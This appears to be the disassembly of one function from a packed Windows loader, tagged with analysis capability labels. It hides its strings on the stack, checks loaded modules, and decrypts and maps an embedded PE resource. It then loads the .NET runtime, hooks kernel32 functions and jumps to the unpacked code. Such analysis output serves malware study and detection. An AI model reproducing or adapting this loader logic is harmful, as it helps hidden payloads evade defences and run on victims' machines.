Function at 0x401510
Capabilities:
Contain obfuscated stackstrings
Enumerate process modules
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc70
push esi
push edi
mov byte [ebp - 0x48], 0xe0
mov byte [ebp - 0x47], 0x3b
mov byte [ebp - 0x46], 0x8d
mov byte [ebp - 0x45], 0x2a
mov byte [ebp - 0x44], 0xa2
mov byte [ebp - 0x43], 0x2a
mov byte [ebp - 0x42], 0x2a
mov byte [ebp - 0x41], 0x41
mov byte [ebp - 0x40], 0xd3
mov byte [ebp - 0x3f], 0x20
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 6
mov byte [ebp - 0x3c], 0x8a
mov byte [ebp - 0x3b], 0xf7
mov byte [ebp - 0x3a], 0x3d
mov byte [ebp - 0x39], 0x9d
mov byte [ebp - 0x38], 0xd9
mov byte [ebp - 0x37], 0xee
mov byte [ebp - 0x36], 0x15
mov byte [ebp - 0x35], 0x68
mov byte [ebp - 0x34], 0xf4
mov byte [ebp - 0x33], 0x76
mov byte [ebp - 0x32], 0xb9
mov byte [ebp - 0x31], 0x34
mov byte [ebp - 0x30], 0xbf
mov byte [ebp - 0x2f], 0x1e
mov byte [ebp - 0x2e], 0xe7
mov byte [ebp - 0x2d], 0x78
mov byte [ebp - 0x2c], 0x98
mov byte [ebp - 0x2b], 0xe9
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0xb4
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x48]
push ecx
call fcn.00402b50
add esp, 8
push eax
call fcn.0040f174
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x41b2ec
je 0x402543
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x660], 0x224
mov byte [ebp - 0x3cc], 0xce
mov byte [ebp - 0x3cb], 0x27
mov byte [ebp - 0x3ca], 0x9c
mov byte [ebp - 0x3c9], 0x1a
mov byte [ebp - 0x3c8], 0x95
mov byte [ebp - 0x3c7], 0x2e
mov byte [ebp - 0x3c6], 0x22
mov byte [ebp - 0x3c5], 0x57
mov byte [ebp - 0x3c4], 0x91
mov byte [ebp - 0x3c3], 0x21
mov byte [ebp - 0x3c2], 0x57
mov byte [ebp - 0x3c1], 0x3a
mov byte [ebp - 0x3c0], 0xf8
mov byte [ebp - 0x3bf], 0x98
mov byte [ebp - 0x3be], 0x5b
mov byte [ebp - 0x3bd], 0xf4
mov byte [ebp - 0x3bc], 0xb5
mov byte [ebp - 0x3bb], 0x87
mov byte [ebp - 0x3ba], 0x7b
mov byte [ebp - 0x3b9], 0xf
mov byte [ebp - 0x3b8], 0xf4
mov byte [ebp - 0x3b7], 0x76
mov byte [ebp - 0x3b6], 0xb9
mov byte [ebp - 0x3b5], 0x34
mov byte [ebp - 0x3b4], 0xbf
mov byte [ebp - 0x3b3], 0x1e
mov byte [ebp - 0x3b2], 0xe7
mov byte [ebp - 0x3b1], 0x78
mov byte [ebp - 0x3b0], 0x98
mov byte [ebp - 0x3af], 0xe9
mov byte [ebp - 0x3ae], 0x6f
mov byte [ebp - 0x3ad], 0xb4
mov byte [ebp - 0x3ac], 0
mov byte [ebp - 0x6ac], 0xc0
mov byte [ebp - 0x6ab], 0x38
mov byte [ebp - 0x6aa], 0x8d
mov byte [ebp - 0x6a9], 0x1f
mov byte [ebp - 0x6a8], 0x8e
mov byte [ebp - 0x6a7], 0x30
mov byte [ebp - 0x6a6], 0x65
mov byte [ebp - 0x6a5], 0x47
mov byte [ebp - 0x6a4], 0xd3
mov byte [ebp - 0x6a3], 0x29
mov byte [ebp - 0x6a2], 0x3b
mov byte [ebp - 0x6a1], 0x56
mov byte [ebp - 0x6a0], 0xf8
mov byte [ebp - 0x69f], 0x98
mov byte [ebp - 0x69e], 0x5b
mov byte [ebp - 0x69d], 0xf4
mov byte [ebp - 0x69c], 0xb5
mov byte [ebp - 0x69b], 0x87
mov byte [ebp - 0x69a], 0x7b
mov byte [ebp - 0x699], 0xf
mov byte [ebp - 0x698], 0xf4
mov byte [ebp - 0x697], 0x76
mov byte [ebp - 0x696], 0xb9
mov byte [ebp - 0x695], 0x34
mov byte [ebp - 0x694], 0xbf
mov byte [ebp - 0x693], 0x1e
mov byte [ebp - 0x692], 0xe7
mov byte [ebp - 0x691], 0x78
mov byte [ebp - 0x690], 0x98
mov byte [ebp - 0x68f], 0xe9
mov byte [ebp - 0x68e], 0x6f
mov byte [ebp - 0x68d], 0xb4
mov byte [ebp - 0x68c], 0
lea edx, [ebp - 0x660]
push edx
mov eax, dword [ebp - 0xa8]
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x401ad1
lea ecx, [ebp - 0x434]
push ecx
lea edx, [ebp - 0x3cc]
push edx
call fcn.00402b50
add esp, 8
mov dword [ebp - 0xc10], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
mov dl, byte [ecx]
mov byte [ebp - 0xc15], dl
mov eax, dword [ebp - 0xc10]
cmp dl, byte [eax]
jne 0x401855
cmp byte [ebp - 0xc15], 0
je 0x401849
mov ecx, dword [ebp - 0xc14]
mov dl, byte [ecx + 1]
mov byte [ebp - 0xc16], dl
mov eax, dword [ebp - 0xc10]
cmp dl, byte [eax + 1]
jne 0x401855
add dword [ebp - 0xc14], 2
add dword [ebp - 0xc10], 2
cmp byte [ebp - 0xc16], 0
jne 0x4017f7
mov dword [ebp - 0xc1c], 0
jmp 0x401860
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0xc1c]
mov dword [ebp - 0xc20], edx
cmp dword [ebp - 0xc20], 0
jne 0x401889
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402545
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x6ac]
push edx
call fcn.00402b50
add esp, 8
mov dword [ebp - 0xc24], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0xc28], eax
mov ecx, dword [ebp - 0xc28]
mov dl, byte [ecx]
mov byte [ebp - 0xc29], dl
mov eax, dword [ebp - 0xc24]
cmp dl, byte [eax]
jne 0x40190c
cmp byte [ebp - 0xc29], 0
je 0x401900
mov ecx, dword [ebp - 0xc28]
mov dl, byte [ecx + 1]
mov byte [ebp - 0xc2a], dl
mov eax, dword [ebp - 0xc24]
cmp dl, byte [eax + 1]
jne 0x40190c
add dword [ebp - 0xc28], 2
add dword [ebp - 0xc24], 2
cmp byte [ebp - 0xc2a], 0
jne 0x4018ae
mov dword [ebp - 0xc30], 0
jmp 0x401917
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xc30], ecx
mov edx, dword [ebp - 0xc30]
mov dword [ebp - 0xc34], edx
cmp dword [ebp - 0xc34], 0
jne 0x401940
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402545
lea ecx, [ebp - 0x660]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x401ad1
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x3cc]
push ecx
call fcn.00402b50
add esp, 8
mov dword [ebp - 0xc38], eax
lea edx, [ebp - 0x640]
mov dword [ebp - 0xc3c], edx
mov eax, dword [ebp - 0xc3c]
mov cl, byte [eax]
mov byte [ebp - 0xc3d], cl
mov edx, dword [ebp - 0xc38]
cmp cl, byte [edx]
jne 0x4019e1
cmp byte [ebp - 0xc3d], 0
je 0x4019d5
mov eax, dword [ebp - 0xc3c]
mov cl, byte [eax + 1]
mov byte [ebp - 0xc3e], cl
mov edx, dword [ebp - 0xc38]
cmp cl, byte [edx + 1]
jne 0x4019e1
add dword [ebp - 0xc3c], 2
add dword [ebp - 0xc38], 2
cmp byte [ebp - 0xc3e], 0
jne 0x401983
mov dword [ebp - 0xc44], 0
jmp 0x4019ec
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xc44], eax
mov ecx, dword [ebp - 0xc44]
mov dword [ebp - 0xc48], ecx
cmp dword [ebp - 0xc48], 0
jne 0x401a15
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402545
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x6ac]
push ecx
call fcn.00402b50
add esp, 8
mov dword [ebp - 0xc4c], eax
lea edx, [ebp - 0x640]
mov dword [ebp - 0xc50], edx
mov eax, dword [ebp - 0xc50]
mov cl, byte [eax]
mov byte [ebp - 0xc51], cl
mov edx, dword [ebp - 0xc4c]
cmp cl, byte [edx]
jne 0x401a98
cmp byte [ebp - 0xc51], 0
je 0x401a8c
mov eax, dword [ebp - 0xc50]
mov cl, byte [eax + 1]
mov byte [ebp - 0xc52], cl
mov edx, dword [ebp - 0xc4c]
cmp cl, byte [edx + 1]
jne 0x401a98
add dword [ebp - 0xc50], 2
add dword [ebp - 0xc4c], 2
cmp byte [ebp - 0xc52], 0
jne 0x401a3a
mov dword [ebp - 0xc58], 0
jmp 0x401aa3
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xc58], eax
mov ecx, dword [ebp - 0xc58]
mov dword [ebp - 0xc5c], ecx
cmp dword [ebp - 0xc5c], 0
jne 0x401acc
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402545
jmp 0x401940
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x31c], eax
mov byte [ebp - 0x9c], 0xfc
mov byte [ebp - 0x9b], 0xb
mov byte [ebp - 0x9a], 0xff
mov byte [ebp - 0x99], 0x75
mov byte [ebp - 0x98], 0xe7
mov byte [ebp - 0x97], 0x44
mov byte [ebp - 0x96], 0x4b
mov byte [ebp - 0x95], 0x23
mov byte [ebp - 0x94], 0xbf
mov byte [ebp - 0x93], 0x45
mov byte [ebp - 0x92], 0x3b
mov byte [ebp - 0x91], 0x56
mov byte [ebp - 0x90], 0xf8
mov byte [ebp - 0x8f], 0x98
mov byte [ebp - 0x8e], 0x5b
mov byte [ebp - 0x8d], 0xf4
mov byte [ebp - 0x8c], 0xb5
mov byte [ebp - 0x8b], 0x87
mov byte [ebp - 0x8a], 0x7b
mov byte [ebp - 0x89], 0xf
mov byte [ebp - 0x88], 0xf4
mov byte [ebp - 0x87], 0x76
mov byte [ebp - 0x86], 0xb9
mov byte [ebp - 0x85], 0x34
mov byte [ebp - 0x84], 0xbf
mov byte [ebp - 0x83], 0x1e
mov byte [ebp - 0x82], 0xe7
mov byte [ebp - 0x81], 0x78
mov byte [ebp - 0x80], 0x98
mov byte [ebp - 0x7f], 0xe9
mov byte [ebp - 0x7e], 0x6f
mov byte [ebp - 0x7d], 0xb4
mov byte [ebp - 0x7c], 0
push 0xa
lea ecx, [ebp - 0x8e4]
push ecx
lea edx, [ebp - 0x9c]
push edx
call fcn.00402b50
add esp, 8
push eax
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x3d8], 0
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
call fcn.0040e1a9
add esp, 4
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0xa44], 0x40022
mov eax, dword [ebp - 0xa44]
push eax
call fcn.0040f088
add esp, 4
mov dword [ebp - 0xa48], eax
cmp dword [ebp - 0xa48], 0
je 0x401c8c
mov ecx, dword [ebp - 0xa44]
push ecx
push 0
mov edx, dword [ebp - 0xa48]
push edx
call fcn.0040e5f0
add esp, 0xc
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0xc60], eax
jmp 0x401c96
mov dword [ebp - 0xc60], 0
mov ecx, dword [ebp - 0xc60]
mov dword [ebp - 0x2f4], ecx
mov ecx, dword [ebp - 0x2f4]
call fcn.00402800
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x8e8], 0
jmp 0x401cdc
mov ecx, dword [ebp - 0x8e8]
add ecx, 1
mov dword [ebp - 0x8e8], ecx
mov eax, dword [ebp - 0x74]
cdq
and edx, 0x3ff
add eax, edx
sar eax, 0xa
cmp dword [ebp - 0x8e8], eax
jge 0x401d22
mov edx, dword [ebp - 0x8e8]
shl edx, 0xa
add edx, dword [ebp - 0x3d8]
push edx
push 0x400
mov eax, dword [ebp - 0x8e8]
shl eax, 0xa
add eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x2f4]
call fcn.00402a60
jmp 0x401ccd
mov ecx, dword [ebp - 0x74]
and ecx, 0x800003ff
jns 0x401d35
dec ecx
or ecx, 0xfffffc00
inc ecx
test ecx, ecx
jle 0x401d93
mov edx, dword [ebp - 0x74]
and edx, 0x800003ff
jns 0x401d4c
dec edx
or edx, 0xfffffc00
inc edx
mov eax, dword [ebp - 0x74]
sub eax, edx
add eax, dword [ebp - 0x3d8]
push eax
mov ecx, dword [ebp - 0x74]
and ecx, 0x800003ff
jns 0x401d6b
dec ecx
or ecx, 0xfffffc00
inc ecx
push ecx
mov edx, dword [ebp - 0x74]
and edx, 0x800003ff
jns 0x401d7f
dec edx
or edx, 0xfffffc00
inc edx
mov eax, dword [ebp - 0x74]
sub eax, edx
add eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x2f4]
call fcn.00402a60
mov ecx, dword [ebp - 0x74]
push ecx
push 0
mov edx, dword [ebp - 0x50]
push edx
call fcn.0040e5f0
add esp, 0xc
mov eax, dword [ebp - 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 0x4c], 0
mov ecx, dword [ebp - 0x3d8]
mov edx, dword [ecx]
mov dword [ebp - 0x3d4], edx
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xb8]
push ecx
call fcn.0040e1a9
add esp, 4
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ecx, dword [ebp - 0x3d8]
add ecx, 4
push ecx
lea edx, [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call fcn.0040dff0
add esp, 0x10
mov dword [ebp - 0x688], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x414], ecx
mov edx, dword [ebp - 0x74]
push edx
push 0
mov eax, dword [ebp - 0x3d8]
push eax
call fcn.0040e5f0
add esp, 0xc
mov dword [ebp - 0xa4], 0x105
mov ecx, dword [ebp - 0x414]
push ecx
call fcn.004055f0
add esp, 4
mov dword [ebp - 0xb0], eax
mov edx, dword [ebp - 0xb8]
push edx
push 0
mov eax, dword [ebp - 0x414]
push eax
call fcn.0040e5f0
add esp, 0xc
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.0040eed5
add esp, 4
mov edx, dword [ebp - 0xb0]
mov dword [0x423794], edx
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x3e4], eax
mov ecx, dword [ebp - 0x3e4]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x8c4], edx
mov eax, dword [ebp - 0x8c4]
mov ecx, dword [eax + 0xe8]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0x3e4]
add edx, dword [ebp - 0xe0]
mov dword [ebp - 0x3e0], edx
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x3e4]
add edx, dword [ebp - 0x6b0]
mov dword [ebp - 0x3dc], edx
mov eax, dword [ebp - 0x3dc]
add eax, 0x10
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x684], 0xce
mov byte [ebp - 0x683], 0x27
mov byte [ebp - 0x682], 0x9c
mov byte [ebp - 0x681], 0x1a
mov byte [ebp - 0x680], 0x95
mov byte [ebp - 0x67f], 0x21
mov byte [ebp - 0x67e], 0x2e
mov byte [ebp - 0x67d], 0xd
mov byte [ebp - 0x67c], 0xdb
mov byte [ebp - 0x67b], 0x29
mov byte [ebp - 0x67a], 0x57
mov byte [ebp - 0x679], 0x56
mov byte [ebp - 0x678], 0xf8
mov byte [ebp - 0x677], 0x98
mov byte [ebp - 0x676], 0x5b
mov byte [ebp - 0x675], 0xf4
mov byte [ebp - 0x674], 0xb5
mov byte [ebp - 0x673], 0x87
mov byte [ebp - 0x672], 0x7b
mov byte [ebp - 0x671], 0xf
mov byte [ebp - 0x670], 0xf4
mov byte [ebp - 0x66f], 0x76
mov byte [ebp - 0x66e], 0xb9
mov byte [ebp - 0x66d], 0x34
mov byte [ebp - 0x66c], 0xbf
mov byte [ebp - 0x66b], 0x1e
mov byte [ebp - 0x66a], 0xe7
mov byte [ebp - 0x669], 0x78
mov byte [ebp - 0x668], 0x98
mov byte [ebp - 0x667], 0xe9
mov byte [ebp - 0x666], 0x6f
mov byte [ebp - 0x665], 0xb4
mov byte [ebp - 0x664], 0
lea ecx, [ebp - 0x40c]
push ecx
lea edx, [ebp - 0x684]
push edx
call fcn.00402b50
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3ec], eax
mov byte [ebp - 0xdc], 0xe4
mov byte [ebp - 0xdb], 0x31
mov byte [ebp - 0xda], 0x8b
mov byte [ebp - 0xd9], 0x36
mov byte [ebp - 0xd8], 0xab
mov byte [ebp - 0xd7], 0x16
mov byte [ebp - 0xd6], 6
mov byte [ebp - 0xd5], 0x46
mov byte [ebp - 0xd4], 0xcb
mov byte [ebp - 0xd3], 0x24
mov byte [ebp - 0xd2], 0x73
mov byte [ebp - 0xd1], 0x39
mov byte [ebp - 0xd0], 0x8b
mov byte [ebp - 0xcf], 0xec
mov byte [ebp - 0xce], 0x5b
mov byte [ebp - 0xcd], 0xf4
mov byte [ebp - 0xcc], 0xb5
mov byte [ebp - 0xcb], 0x87
mov byte [ebp - 0xca], 0x7b
mov byte [ebp - 0xc9], 0xf
mov byte [ebp - 0xc8], 0xf4
mov byte [ebp - 0xc7], 0x76
mov byte [ebp - 0xc6], 0xb9
mov byte [ebp - 0xc5], 0x34
mov byte [ebp - 0xc4], 0xbf
mov byte [ebp - 0xc3], 0x1e
mov byte [ebp - 0xc2], 0xe7
mov byte [ebp - 0xc1], 0x78
mov byte [ebp - 0xc0], 0x98
mov byte [ebp - 0xbf], 0xe9
mov byte [ebp - 0xbe], 0x6f
mov byte [ebp - 0xbd], 0xb4
mov byte [ebp - 0xbc], 0
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0xdc]
push ecx
call fcn.00402b50
add esp, 8
push eax
mov edx, dword [ebp - 0x3ec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x423688], eax
xor eax, eax
cmp dword [0x423688], 0
setne al
mov byte [ebp - 0x3cd], al
movzx ecx, byte [ebp - 0x3cd]
neg ecx
sbb ecx, ecx
add ecx, 1
mov byte [ebp - 0xb1], cl
movzx edx, byte [ebp - 0x3cd]
test edx, edx
je 0x402281
mov dword [ebp - 0x8ec], 0
lea eax, [ebp - 0x8ec]
push eax
push 0x41b210
call dword [0x423688]
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jge 0x40217d
mov byte [ebp - 0xb1], 1
movzx ecx, byte [ebp - 0xb1]
test ecx, ecx
jne 0x40227f
mov dword [ebp - 0x8f0], 0
mov edx, dword [ebp - 0xa0]
push edx
lea ecx, [ebp - 0x9f8]
call fcn.00402fa0
lea eax, [ebp - 0x8f0]
push eax
push 0x41b220
lea ecx, [ebp - 0x9f8]
call fcn.00402ce0
push eax
mov ecx, dword [ebp - 0x8ec]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x8ec]
push eax
mov ecx, dword [edx + 0xc]
call ecx
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jge 0x4021ea
mov byte [ebp - 0xb1], 1
movzx edx, byte [ebp - 0xb1]
test edx, edx
jne 0x402274
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x8c0]
push ecx
mov edx, dword [ebp - 0x8f0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8f0]
push ecx
mov edx, dword [eax + 0x10]
call edx
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jge 0x40222f
mov byte [ebp - 0xb1], 1
jmp 0x402274
lea eax, [ebp - 0x8c0]
add eax, 0xfffffffe
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0xc64]
mov dx, word [ecx + 2]
mov word [ebp - 0xc66], dx
add dword [ebp - 0xc64], 2
cmp word [ebp - 0xc66], 0
jne 0x40223e
mov edi, dword [ebp - 0xc64]
mov ecx, 6
mov esi, str.mscorlib.dll
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x9f8]
call fcn.00402e10
jmp 0x402288
mov byte [ebp - 0xb1], 1
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x402424
mov byte [ebp - 0xb1], 0
mov byte [ebp - 0xa3c], 0xe4
mov byte [ebp - 0xa3b], 0x31
mov byte [ebp - 0xa3a], 0x8b
mov byte [ebp - 0xa39], 0x36
mov byte [ebp - 0xa38], 0xa8
mov byte [ebp - 0xa37], 0x16
mov byte [ebp - 0xa36], 0x18
mov byte [ebp - 0xa35], 0x5a
mov byte [ebp - 0xa34], 0xcc
mov byte [ebp - 0xa33], 0x31
mov byte [ebp - 0xa32], 0x5e
mov byte [ebp - 0xa31], 0x3b
mov byte [ebp - 0xa30], 0xbc
mov byte [ebp - 0xa2f], 0xf1
mov byte [ebp - 0xa2e], 0x29
mov byte [ebp - 0xa2d], 0x91
mov byte [ebp - 0xa2c], 0xd6
mov byte [ebp - 0xa2b], 0xf3
mov byte [ebp - 0xa2a], 0x14
mov byte [ebp - 0xa29], 0x7d
mov byte [ebp - 0xa28], 0x8d
mov byte [ebp - 0xa27], 0x76
mov byte [ebp - 0xa26], 0xb9
mov byte [ebp - 0xa25], 0x34
mov byte [ebp - 0xa24], 0xbf
mov byte [ebp - 0xa23], 0x1e
mov byte [ebp - 0xa22], 0xe7
mov byte [ebp - 0xa21], 0x78
mov byte [ebp - 0xa20], 0x98
mov byte [ebp - 0xa1f], 0xe9
mov byte [ebp - 0xa1e], 0x6f
mov byte [ebp - 0xa1d], 0xb4
mov byte [ebp - 0xa1c], 0
lea ecx, [ebp - 0xa18]
push ecx
lea edx, [ebp - 0xa3c]
push edx
call fcn.00402b50
add esp, 8
push eax
mov eax, dword [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x423798], eax
lea ecx, [ebp - 0x318]
push ecx
push 0x104
lea edx, [ebp - 0x8c0]
push edx
call dword [0x423798]
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 0
jne 0x40241d
lea eax, [ebp - 0x8c0]
add eax, 0xfffffffe
mov dword [ebp - 0xc6c], eax
mov ecx, dword [ebp - 0xc6c]
mov dx, word [ecx + 2]
mov word [ebp - 0xc6e], dx
add dword [ebp - 0xc6c], 2
cmp word [ebp - 0xc6e], 0
jne 0x4023e5
mov edi, dword [ebp - 0xc6c]
mov ecx, 6
mov esi, str.mscorlib.dll
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x402424
mov byte [ebp - 0xb1], 1
lea eax, [ebp - 0x8c0]
mov dword [0x423164], eax
mov ecx, dword [0x423164]
push ecx
lea ecx, [ebp - 0x3a8]
call fcn.00402fc0
lea ecx, [ebp - 0x3a8]
call fcn.00402ce0
mov dword [0x423160], eax
push 0x105
push 0x423378
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x105
push 0x423168
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4237a0
push 0x4011c0
push 0x41b2bc
push str.kernel32.dll
call fcn.00401350
add esp, 0x10
push 0x42379c
push 0x401190
push 0x41b298
push str.kernel32.dll
call fcn.00401350
add esp, 0x10
push 0x4237ac
push 0x401150
push 0x41b284
push str.kernel32.dll
call fcn.00401350
add esp, 0x10
push 0x4237a8
push 0x401170
push 0x41b270
push str.kernel32.dll
call fcn.00401350
add esp, 0x10
push 0x4237a4
push 0x401050
push 0x41b264
push str.kernel32.dll
call fcn.00401350
add esp, 0x10
push 0x4237b0
push 0x4010d0
push 0x41b258
push str.kernel32.dll
call fcn.00401350
add esp, 0x10
mov edx, dword [ebp - 0x8c4]
mov eax, dword [edx + 0x28]
add eax, dword [ebp - 0x3e4]
mov dword [ebp - 0xac], eax
jmp dword [ebp - 0xac]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret